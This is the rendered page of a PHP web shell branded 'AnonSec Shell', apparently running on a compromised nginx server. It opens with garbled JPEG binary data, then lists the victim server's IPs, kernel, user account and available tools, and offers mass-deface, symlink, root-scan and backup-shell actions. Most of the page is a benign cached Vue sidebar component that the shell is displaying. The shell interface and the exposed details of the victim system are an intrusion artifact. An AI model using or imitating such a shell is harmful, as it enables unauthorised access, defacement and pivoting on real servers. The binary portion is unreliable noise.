JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/kai/cms/node_modules/.cache/babel-loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/kai/cms/node_modules/.cache/babel-loader/952dfa78f686cfe26ef9e258ee4851bf.json
{"remainingRequest":"/var/app/kai/cms/node_modules/thread-loader/dist/cjs.js!/var/app/kai/cms/node_modules/babel-loader/lib/index.js!/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js??ref--1-0!/var/app/kai/cms/node_modules/vue-loader/lib/index.js??vue-loader-options!/var/app/kai/cms/src/components/layout/Sidebar.vue?vue&type=script&lang=js&","dependencies":[{"path":"/var/app/kai/cms/src/components/layout/Sidebar.vue","mtime":1727535746280},{"path":"/var/app/kai/cms/babel.config.js","mtime":1727535746252},{"path":"/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/kai/cms/node_modules/thread-loader/dist/cjs.js","mtime":1727535780458},{"path":"/var/app/kai/cms/node_modules/babel-loader/lib/index.js","mtime":1727535780406},{"path":"/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/kai/cms/node_modules/vue-loader/lib/index.js","mtime":1727535789538}],"contextDependencies":[],"result":[{"type":"Buffer","data":"base64:aW1wb3J0IF9vYmplY3RTcHJlYWQgZnJvbSAiL3Zhci9hcHAva2FpL2Ntcy9ub2RlX21vZHVsZXMvQGJhYmVsL3J1bnRpbWUvaGVscGVycy9lc20vb2JqZWN0U3ByZWFkMi5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLmFycmF5LmZpbHRlci5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLm9iamVjdC50by1zdHJpbmcuanMiOwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwovLwppbXBvcnQgeyBtYXBNdXRhdGlvbnMsIG1hcFN0YXRlIH0gZnJvbSAndnVleCc7CmltcG9ydCBCb290c3RyYXBEcm9wZG93biBmcm9tICcuLi9ib290c3RyYXAvQm9vdHN0cmFwRHJvcGRvd24nOwppbXBvcnQgQm94QXJyb3dSaWdodEljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2JveC1hcnJvdy1yaWdodC5zdmcnOwppbXBvcnQgQ2hldnJvbkxlZnRJY29uIGZyb20gJ2Jvb3RzdHJhcC1pY29ucy9pY29ucy9jaGV2cm9uLWxlZnQuc3ZnJzsKaW1wb3J0IENoZXZyb25SaWdodEljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2NoZXZyb24tcmlnaHQuc3ZnJzsKaW1wb3J0IExpZ2h0bmluZ0ljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2xpZ2h0bmluZy5zdmcnOwppbXBvcnQgUGVvcGxlRmlsbEljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL3Blb3BsZS1maWxsLnN2Zyc7CmltcG9ydCBQZXJzb25TcXVhcmVJY29uIGZyb20gJ2Jvb3RzdHJhcC1pY29ucy9pY29ucy9wZXJzb24tc3F1YXJlLnN2Zyc7CmltcG9ydCBVaUNoZWNrc0dyaWRJY29uIGZyb20gJ2Jvb3RzdHJhcC1pY29ucy9pY29ucy91aS1jaGVja3MtZ3JpZC5zdmcnOwppbXBvcnQgR2VvQWx0SWNvbiBmcm9tICdib290c3RyYXAtaWNvbnMvaWNvbnMvZ2VvLWFsdC5zdmcnOwppbXBvcnQgVXBsb2FkSWNvbiBmcm9tICdib290c3RyYXAtaWNvbnMvaWNvbnMvdXBsb2FkLnN2Zyc7CmltcG9ydCBTdGFyTGlzdEljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2xpc3Qtc3RhcnMuc3ZnJzsKaW1wb3J0IEdlYXJJY29uIGZyb20gJ2Jvb3RzdHJhcC1pY29ucy9pY29ucy9nZWFyLnN2Zyc7CmltcG9ydCBMZWFkZXJib2FyZEljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2Jhci1jaGFydC5zdmcnOwppbXBvcnQgRGF0YUljb24gZnJvbSAnYm9vdHN0cmFwLWljb25zL2ljb25zL2NsaXBib2FyZC1kYXRhLnN2Zyc7CmV4cG9ydCBkZWZhdWx0IHsKICBjb21wb25lbnRzOiB7CiAgICBCb290c3RyYXBEcm9wZG93bjogQm9vdHN0cmFwRHJvcGRvd24sCiAgICBCb3hBcnJvd1JpZ2h0SWNvbjogQm94QXJyb3dSaWdodEljb24sCiAgICBDaGV2cm9uTGVmdEljb246IENoZXZyb25MZWZ0SWNvbiwKICAgIENoZXZyb25SaWdodEljb246IENoZXZyb25SaWdodEljb24sCiAgICBHZW9BbHRJY29uOiBHZW9BbHRJY29uLAogICAgVXBsb2FkSWNvbjogVXBsb2FkSWNvbiwKICAgIFN0YXJMaXN0SWNvbjogU3Rhckxpc3RJY29uLAogICAgTGVhZGVyYm9hcmRJY29uOiBMZWFkZXJib2FyZEljb24sCiAgICBHZWFySWNvbjogR2Vhckljb24sCiAgICBEYXRhSWNvbjogRGF0YUljb24KICB9LAogIGRhdGE6IGZ1bmN0aW9uIGRhdGEoKSB7CiAgICByZXR1cm4gewogICAgICBncm91cHM6IFt7CiAgICAgICAgbGFiZWw6ICdNYW5hZ2UnLAogICAgICAgIGl0ZW1zOiBbewogICAgICAgICAgcGF0aDogJy9sZWFkZXJib2FyZHMnLAogICAgICAgICAgaWNvbjogTGVhZGVyYm9hcmRJY29uLAogICAgICAgICAgbGFiZWw6ICdMZWFkZXJib2FyZCcsCiAgICAgICAgICBhY2Nlc3M6ICdsZWFkZXJib2FyZHMucmVhZCcKICAgICAgICB9LCB7CiAgICAgICAgICBwYXRoOiAnL3VwbG9hZHMnLAogICAgICAgICAgaWNvbjogVXBsb2FkSWNvbiwKICAgICAgICAgIGxhYmVsOiAnVXBsb2FkIERhdGEnLAogICAgICAgICAgYWNjZXNzOiAndXBsb2Fkcy5yZWFkJwogICAgICAgIH0sIHsKICAgICAgICAgIHBhdGg6ICcvc2NvcmVzJywKICAgICAgICAgIGljb246IERhdGFJY29uLAogICAgICAgICAgbGFiZWw6ICdSYXcgRGF0YScsCiAgICAgICAgICBhY2Nlc3M6ICdsZWFkZXJib2FyZHMucmVhZCcKICAgICAgICB9LCB7CiAgICAgICAgICBwYXRoOiAnL3ZlbnVlcycsCiAgICAgICAgICBpY29uOiBHZW9BbHRJY29uLAogICAgICAgICAgbGFiZWw6ICdWZW51ZXMnLAogICAgICAgICAgYWNjZXNzOiAndmVudWVzLnJlYWQnCiAgICAgICAgfV0KICAgICAgfSwgewogICAgICAgIGxhYmVsOiAnU2V0dGluZ3MnLAogICAgICAgIGl0ZW1zOiBbewogICAgICAgICAgcGF0aDogJy9wcm9maWxlJywKICAgICAgICAgIGljb246IFBlcnNvblNxdWFyZUljb24sCiAgICAgICAgICBsYWJlbDogJ1Byb2ZpbGUnCiAgICAgICAgfSwgewogICAgICAgICAgcGF0aDogJy91c2VycycsCiAgICAgICAgICBpY29uOiBQZW9wbGVGaWxsSWNvbiwKICAgICAgICAgIGxhYmVsOiAnVXNlcnMnLAogICAgICAgICAgYWNjZXNzOiAndXNlcnMucmVhZCcKICAgICAgICB9LCB7CiAgICAgICAgICBwYXRoOiAnL3JvbGVzJywKICAgICAgICAgIGljb246IFVpQ2hlY2tzR3JpZEljb24sCiAgICAgICAgICBsYWJlbDogJ1JvbGVzJywKICAgICAgICAgIGFjY2VzczogJ3JvbGVzLnJlYWQnCiAgICAgICAgfSwgewogICAgICAgICAgcGF0aDogJy9hcGlzJywKICAgICAgICAgIGljb246IExpZ2h0bmluZ0ljb24sCiAgICAgICAgICBsYWJlbDogJ0FQSXMnLAogICAgICAgICAgYWNjZXNzOiAnYXBpcy5yZWFkJwogICAgICAgIH1dCiAgICAgIH1dCiAgICB9OwogIH0sCiAgY29tcHV0ZWQ6IF9vYmplY3RTcHJlYWQoX29iamVjdFNwcmVhZCh7fSwgbWFwU3RhdGUoJ2xheW91dCcsIFsnaXNTaWRlYmFyQ29sbGFwc2VkJ10pKSwge30sIHsKICAgIGZpbHRlcmVkR3JvdXBzOiBmdW5jdGlvbiBmaWx0ZXJlZEdyb3VwcygpIHsKICAgICAgdmFyIF90aGlzID0gdGhpczsKCiAgICAgIC8qKgogICAgICAgKiBSZWN1cnNpdmVseQogICAgICAgKi8KICAgICAgdmFyIGZpbHRlckl0ZW1zID0gZnVuY3Rpb24gZmlsdGVySXRlbXMoaXRlbXMpIHsKICAgICAgICB2YXIgcmVzdWx0ID0gaXRlbXMuZmlsdGVyKGZ1bmN0aW9uIChpdGVtKSB7CiAgICAgICAgICB2YXIgcmVzdWx0ID0gIWl0ZW0uYWNjZXNzIHx8IF90aGlzLiRhdXRoLnVzZXIuY2FuKGl0ZW0uYWNjZXNzKTsKCiAgICAgICAgICBpZiAocmVzdWx0ICYmIGl0ZW0uaXRlbXMpIHsKICAgICAgICAgICAgaXRlbS5pdGVtcyA9IGZpbHRlckl0ZW1zKGl0ZW0uaXRlbXMpOwogICAgICAgICAgfQoKICAgICAgICAgIHJldHVybiByZXN1bHQ7CiAgICAgICAgfSk7CiAgICAgICAgcmV0dXJuIHJlc3VsdC5maWx0ZXIoZnVuY3Rpb24gKF9yZWYpIHsKICAgICAgICAgIHZhciBpdGVtcyA9IF9yZWYuaXRlbXM7CiAgICAgICAgICByZXR1cm4gIWl0ZW1zIHx8IGl0ZW1zLmxlbmd0aDsKICAgICAgICB9KTsKICAgICAgfTsKCiAgICAgIHJldHVybiBmaWx0ZXJJdGVtcyh0aGlzLmdyb3Vwcyk7CiAgICB9CiAgfSksCiAgd2F0Y2g6IHsKICAgICckcm91dGUucGF0aCc6IHsKICAgICAgaGFuZGxlcjogZnVuY3Rpb24gaGFuZGxlcihwYXRoKSB7CiAgICAgICAgaWYgKHBhdGggPT09ICcvJykgdGhpcy4kcm91dGVyLnB1c2godGhpcy5maWx0ZXJlZEdyb3Vwc1swXS5pdGVtc1swXS5wYXRoKTsKICAgICAgfSwKICAgICAgaW1tZWRpYXRlOiB0cnVlCiAgICB9CiAgfSwKICBtZXRob2RzOiBfb2JqZWN0U3ByZWFkKHt9LCBtYXBNdXRhdGlvbnMoJ2xheW91dCcsIFsnc2V0SXNTaWRlYmFyQ29sbGFwc2VkJ10pKQp9Ow=="},{"version":3,"sources":["Sidebar.vue"],"names":[],"mappings":"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","sourcesContent":["<template>\n  <div :class=\"{ 'is-collapsed': isSidebarCollapsed }\">\n    <div\n      v-if=\"!isSidebarCollapsed\"\n      class=\"backdrop d-xl-none position-fixed top-0 bottom-0 start-0 end-0\"\n      @click=\"setIsSidebarCollapsed(true)\"\n    ></div>\n\n    <aside class=\"d-flex flex-column vh-100 position-fixed l-0 t-0\">\n      <div class=\"inner-item position-relative mb-5\">\n        <div class=\"logo d-flex align-items-center\">\n          <img\n            alt=\"SideLogo\"\n            src=\"../../assets/img/logo.png\"\n            srcset=\"../../assets/img/logo.png, ../../assets/img/logo-2x.png 2x\"\n          />\n          <span class=\"lh-1 ms-3\" v-if=\"!isSidebarCollapsed\">CMS</span>\n        </div>\n\n        <a\n          class=\"toggle d-inline-block d-xl-none lh-1 bg-white rounded-circle shadow position-absolute start-100 top-50 translate-middle\"\n          href=\"#\"\n          @click.prevent=\"setIsSidebarCollapsed(!isSidebarCollapsed)\"\n        >\n          <ChevronRightIcon v-if=\"isSidebarCollapsed\" />\n          <ChevronLeftIcon v-else />\n        </a>\n      </div>\n\n      <nav class=\"inner-item flex-grow-1 overflow-auto py-0\">\n        <div v-for=\"group of filteredGroups\" class=\"mb-4\" :key=\"group.label\">\n          <div\n            class=\"small text-muted text-uppercase mb-3\"\n            :class=\"{ 'd-none': isSidebarCollapsed }\"\n          >\n            {{ group.label }}\n          </div>\n\n          <div v-for=\"item of group.items\" class=\"menu-item\" :key=\"item.path\">\n            <router-link\n              class=\"align-items-center text-decoration-none rounded-3\"\n              :to=\"item.path\"\n            >\n              <i class=\"lh-1 fs-5\">\n                <component :is=\"item.icon\" />\n              </i>\n\n              <span class=\"menu-label ms-3\">\n                {{ item.label }}\n              </span>\n            </router-link>\n\n            <div v-if=\"item.items\" class=\"children\">\n              <div\n                v-for=\"item of item.items\"\n                class=\"menu-item\"\n                :key=\"item.path\"\n              >\n                <router-link\n                  class=\"text-decoration-none rounded-3\"\n                  :to=\"item.path\"\n                >\n                  <span class=\"menu-label\">\n                    {{ item.label }}\n                  </span>\n                </router-link>\n              </div>\n            </div>\n          </div>\n        </div>\n      </nav>\n\n      <div class=\"inner-item d-flex align-items-center\">\n        <BootstrapDropdown v-if=\"isSidebarCollapsed\">\n          <div class=\"dropdown\">\n            <a\n              class=\"d-inline-block\"\n              data-bs-toggle=\"dropdown\"\n              aria-expanded=\"false\"\n            >\n              Logout\n            </a>\n\n            <div class=\"dropdown-menu p-3\">\n              <div class=\"mb-1\">{{ $auth.user.fullname }}</div>\n              <a\n                class=\"d-inline-flex text-danger text-decoration-none align-items-center\"\n                href=\"#\"\n                @click.prevent=\"$auth.logout()\"\n              >\n                <BoxArrowRightIcon class=\"me-1\" />\n                Log out\n              </a>\n            </div>\n          </div>\n        </BootstrapDropdown>\n\n        <div class=\"user-text\">\n          <div>{{ $auth.user.fullname }}</div>\n          <a\n            class=\"d-inline-flex text-danger text-decoration-none align-items-center\"\n            href=\"#\"\n            @click.prevent=\"$auth.logout()\"\n          >\n            <BoxArrowRightIcon class=\"me-1\" />\n            Log out\n          </a>\n        </div>\n      </div>\n    </aside>\n  </div>\n</template>\n\n<script>\nimport { mapMutations, mapState } from 'vuex';\n\nimport BootstrapDropdown from '../bootstrap/BootstrapDropdown';\n\nimport BoxArrowRightIcon from 'bootstrap-icons/icons/box-arrow-right.svg';\nimport ChevronLeftIcon from 'bootstrap-icons/icons/chevron-left.svg';\nimport ChevronRightIcon from 'bootstrap-icons/icons/chevron-right.svg';\nimport LightningIcon from 'bootstrap-icons/icons/lightning.svg';\nimport PeopleFillIcon from 'bootstrap-icons/icons/people-fill.svg';\nimport PersonSquareIcon from 'bootstrap-icons/icons/person-square.svg';\nimport UiChecksGridIcon from 'bootstrap-icons/icons/ui-checks-grid.svg';\nimport GeoAltIcon from 'bootstrap-icons/icons/geo-alt.svg';\nimport UploadIcon from 'bootstrap-icons/icons/upload.svg';\nimport StarListIcon from 'bootstrap-icons/icons/list-stars.svg';\nimport GearIcon from 'bootstrap-icons/icons/gear.svg';\nimport LeaderboardIcon from 'bootstrap-icons/icons/bar-chart.svg';\nimport DataIcon from 'bootstrap-icons/icons/clipboard-data.svg';\n\nexport default {\n  components: {\n    BootstrapDropdown,\n    BoxArrowRightIcon,\n    ChevronLeftIcon,\n    ChevronRightIcon,\n    GeoAltIcon,\n    UploadIcon,\n    StarListIcon,\n    LeaderboardIcon,\n    GearIcon,\n    DataIcon,\n  },\n\n  data() {\n    return {\n      groups: [\n        {\n          label: 'Manage',\n          items: [\n            {\n              path: '/leaderboards',\n              icon: LeaderboardIcon,\n              label: 'Leaderboard',\n              access: 'leaderboards.read',\n            },\n            {\n              path: '/uploads',\n              icon: UploadIcon,\n              label: 'Upload Data',\n              access: 'uploads.read',\n            },\n            {\n              path: '/scores',\n              icon: DataIcon,\n              label: 'Raw Data',\n              access: 'leaderboards.read',\n            },\n            {\n              path: '/venues',\n              icon: GeoAltIcon,\n              label: 'Venues',\n              access: 'venues.read',\n            },\n          ],\n        },\n\n        {\n          label: 'Settings',\n          items: [\n            {\n              path: '/profile',\n              icon: PersonSquareIcon,\n              label: 'Profile',\n            },\n            {\n              path: '/users',\n              icon: PeopleFillIcon,\n              label: 'Users',\n              access: 'users.read',\n            },\n            {\n              path: '/roles',\n              icon: UiChecksGridIcon,\n              label: 'Roles',\n              access: 'roles.read',\n            },\n            {\n              path: '/apis',\n              icon: LightningIcon,\n              label: 'APIs',\n              access: 'apis.read',\n            },\n          ],\n        },\n      ],\n    };\n  },\n\n  computed: {\n    ...mapState('layout', ['isSidebarCollapsed']),\n\n    filteredGroups() {\n      /**\n       * Recursively\n       */\n      const filterItems = (items) => {\n        const result = items.filter((item) => {\n          const result = !item.access || this.$auth.user.can(item.access);\n\n          if (result && item.items) {\n            item.items = filterItems(item.items);\n          }\n\n          return result;\n        });\n\n        return result.filter(({ items }) => !items || items.length);\n      };\n\n      return filterItems(this.groups);\n    },\n  },\n\n  watch: {\n    '$route.path': {\n      handler(path) {\n        if (path === '/')\n          this.$router.push(this.filteredGroups[0].items[0].path);\n      },\n      immediate: true,\n    },\n  },\n\n  methods: {\n    ...mapMutations('layout', ['setIsSidebarCollapsed']),\n  },\n};\n</script>\n\n<style lang=\"scss\" scoped>\n.backdrop,\naside {\n  z-index: $zindex-fixed;\n}\n\n.backdrop {\n  background: $modal-backdrop-bg;\n  opacity: $modal-backdrop-opacity;\n}\n\naside {\n  width: rem(280);\n  background: $color-darkfull;\n  border-right: 2px solid $color-red;\n  // linear-gradient(\n  //   160deg,\n  //   $color-darkfull 0%,\n  //   darken($color-darkest, 2%) 70%,\n  //   darken($color-darker, 1%) 100%\n  // );\n\n  .is-collapsed & {\n    width: rem(70) + $scrollbar-width;\n  }\n}\n\n.toggle {\n  font-size: rem(12);\n  color: $gray-600;\n  padding: rem(6);\n}\n\n.inner-item {\n  padding: map-get($spacers, 4);\n\n  @include media-breakpoint-up(xl) {\n    padding: map-get($spacers, 5);\n  }\n\n  .is-collapsed & {\n    padding-left: rem(15);\n    padding-right: rem(15);\n  }\n}\n\n.logo {\n  color: $color-primary;\n  font-weight: 600;\n  font-size: rem(16);\n\n  img {\n    height: rem(40) + $scrollbar-width;\n  }\n\n  .is-collapsed & {\n    img {\n      height: rem(64);\n    }\n  }\n}\n\n.menu-item {\n  a {\n    display: flex;\n    color: $text-muted;\n    padding: map-get($spacers, 2);\n    margin-bottom: map-get($spacers, 1);\n    outline: none;\n\n    &:hover,\n    &:focus {\n      color: $color-red;\n    }\n  }\n\n  .router-link-active {\n    background-color: $primary;\n\n    &,\n    &:hover,\n    &:focus {\n      color: $white;\n    }\n  }\n\n  i {\n    padding: rem(10);\n  }\n\n  .is-collapsed & {\n    a {\n      display: inline-flex;\n      padding: 0;\n      margin-bottom: map-get($spacers, 3);\n    }\n  }\n}\n\n.children {\n  padding: map-get($spacers, 2) 0;\n\n  .menu-item {\n    a {\n      padding: rem(10) rem(18) rem(10) rem(61);\n    }\n\n    .router-link-active {\n      background-color: rgba($primary, 0.25);\n      color: $color-light;\n    }\n  }\n\n  .router-link-active + & {\n    display: block;\n  }\n\n  &,\n  .is-collapsed & {\n    display: none;\n  }\n}\n\n.menu-label,\n.user-text {\n  .is-collapsed & {\n    display: none;\n  }\n}\n\n.user-text {\n  padding: 0 rem(20);\n}\n</style>\n"],"sourceRoot":"src/components/layout"}]}

Anon7 - 2022
AnonSec Team